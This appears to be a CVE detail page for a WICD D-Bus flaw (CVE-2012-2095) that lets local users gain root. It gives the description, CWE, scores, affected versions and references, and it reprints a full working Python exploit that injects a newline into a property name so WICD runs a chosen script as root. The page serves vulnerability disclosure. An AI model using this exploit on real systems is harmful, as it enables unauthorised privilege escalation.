CVE-2012-2095 : Detail

CVE-2012-2095

A03-Injection
0.58%V4
Local
2014-04-07
13h00 +00:00
2014-04-07
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The SetWiredProperty function in the D-Bus interface in WICD before 1.7.2 allows local users to write arbitrary configuration settings and gain privileges via a crafted property name in a dbus message.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 18733

Publication date : 2012-04-11 22h00 +00:00
Author : anonymous
EDB Verified : Yes

#!/usr/bin/python #wicd <= 1.7.1 0day exploit discovered on 4.9.12 by InfoSec Institute student #For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html import sys import os import time import getopt try: from wicd import dbusmanager except: print "[!] WICD Error: libraries are not available. Is WICD installed?"; sys.exit(0) class Error(Exception): def __init__(self, error): self.errorStr=error def __str__(self): return repr(self.errorStr) class Wicd(): wireless=None daemon=None versionString=None def __init__(self): try: dbusmanager.connect_to_dbus() dbusInterfaces = dbusmanager.get_dbus_ifaces() self.wireless = dbusInterfaces["wireless"] self.daemon = dbusInterfaces["daemon"] except: raise Error("Daemon is not running") self.versionString = self.daemon.Hello() def versionLessThan(self, version): if int(self.versionString.replace(".",""))<=version: return True else: return False class Exploit(): def __init__(self, wicd, scriptPath): self.wicd = wicd self.scriptPath = scriptPath def getNets(self): self.wicd.wireless.Scan(True) nets = self.wicd.wireless.GetNumberOfNetworks() while nets < 1: self.wicd.wireless.Scan(True) nets = self.wicd.wireless.GetNumberOfNetworks() for net in range(nets): yield net def exploit(self): for net in self.getNets(): pass # Priming scan. try: self.wicd.wireless.SetWirelessProperty(0, "beforescript = "+ self.scriptPath +"\nrooted", "true") except: raise Error("Unable to exploit (SetWirelessProperty() failed.)") try: self.wicd.wireless.SaveWirelessNetworkProperty(0, "beforescript = "+ self.scriptPath +"\nrooted") except: raise Error("Unable to exploit (SetWirelessProperty() failed.)") propertyKey = 'bssid' # Could be essid, or any other identifiable wireless property vulnIdentifier = self.wicd.wireless.GetWirelessProperty(0, propertyKey) # TODO: Does this need a try construct? self.wicd.wireless.ReloadConfig() for net in self.getNets(): # Implicit, but required re-scan. if self.wicd.wireless.GetWirelessProperty(net, propertyKey) == vulnIdentifier: self.wicd.wireless.ConnectWireless(net) return True raise Error("Unable to exploit (Lost the network we were using)") def usage(): print "[!] Usage:" print " ( -h, --help ):" print " Print this message." print " ( --scriptPath= ): Required, executable to run as root." print " --scriptPath=/some/path/to/executable.sh" def main(): print "[$] WICD =< 1.7.0Day" try: opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "scriptPath="]) except getopt.GetoptError, err: # Print help information and exit: print '[!] Parameter error:' + str(err) # Will print something like "option -a not recognized" usage() sys.exit(0) scriptPath=None for opt, arg in opts: if opt in ("-h", "--help"): usage() sys.exit(0) elif opt =="--scriptPath": scriptPath=arg else: # I would be assuming to say we'll never get here. print "[!] Parameter error." usage() sys.exit(0) if not scriptPath: print "[!] Parameter error: scriptPath not set." usage() sys.exit(0) try: wicd = Wicd() except Error as error: print "[!] WICD Error: %s" % (error.errorStr) exit(0) print "[*] WICD Connection Initialized! (Version: %s)" % (wicd.versionString) if not wicd.versionLessThan(171): print "[!] WICD Warning: version print exceeds 1.7.1: Trying anyhow." exploit = Exploit(wicd, scriptPath) print "[*] Attempting to exploit:" try: exploit.exploit() except Error as error: print "[!] Exploit Error: %s" % (error.errorStr) exit(0) print "[*] Exploit appears to have worked." # Standard boilerplate to call the main() function to begin # the program. if __name__=='__main__': main()

Products Mentioned

Configuraton 0

David_paleino>>Wicd >> Version To (including) 1.7.1

David_paleino>>Wicd >> Version 1.2.7

David_paleino>>Wicd >> Version 1.3.1

David_paleino>>Wicd >> Version 1.4.0

David_paleino>>Wicd >> Version 1.4.1

David_paleino>>Wicd >> Version 1.4.2

David_paleino>>Wicd >> Version 1.5.0

David_paleino>>Wicd >> Version 1.5.1

David_paleino>>Wicd >> Version 1.5.2

David_paleino>>Wicd >> Version 1.5.3

David_paleino>>Wicd >> Version 1.5.4

David_paleino>>Wicd >> Version 1.5.5

David_paleino>>Wicd >> Version 1.5.6

David_paleino>>Wicd >> Version 1.5.7

David_paleino>>Wicd >> Version 1.5.8

David_paleino>>Wicd >> Version 1.5.9

David_paleino>>Wicd >> Version 1.6.0

David_paleino>>Wicd >> Version 1.6.2

David_paleino>>Wicd >> Version 1.7.0

David_paleino>>Wicd >> Version 1.7.1

Fedoraproject>>Fedora >> Version 15

Fedoraproject>>Fedora >> Version 16

Fedoraproject>>Fedora >> Version 17

References

http://secunia.com/advisories/48759
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/52987
Tags : vdb-entry, x_refsource_BID
http://www.openwall.com/lists/oss-security/2012/04/11/2
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/49657
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2012/04/11/3
Tags : mailing-list, x_refsource_MLIST
http://www.exploit-db.com/exploits/18733
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.gentoo.org/security/en/glsa/glsa-201206-08.xml
Tags : vendor-advisory, x_refsource_GENTOO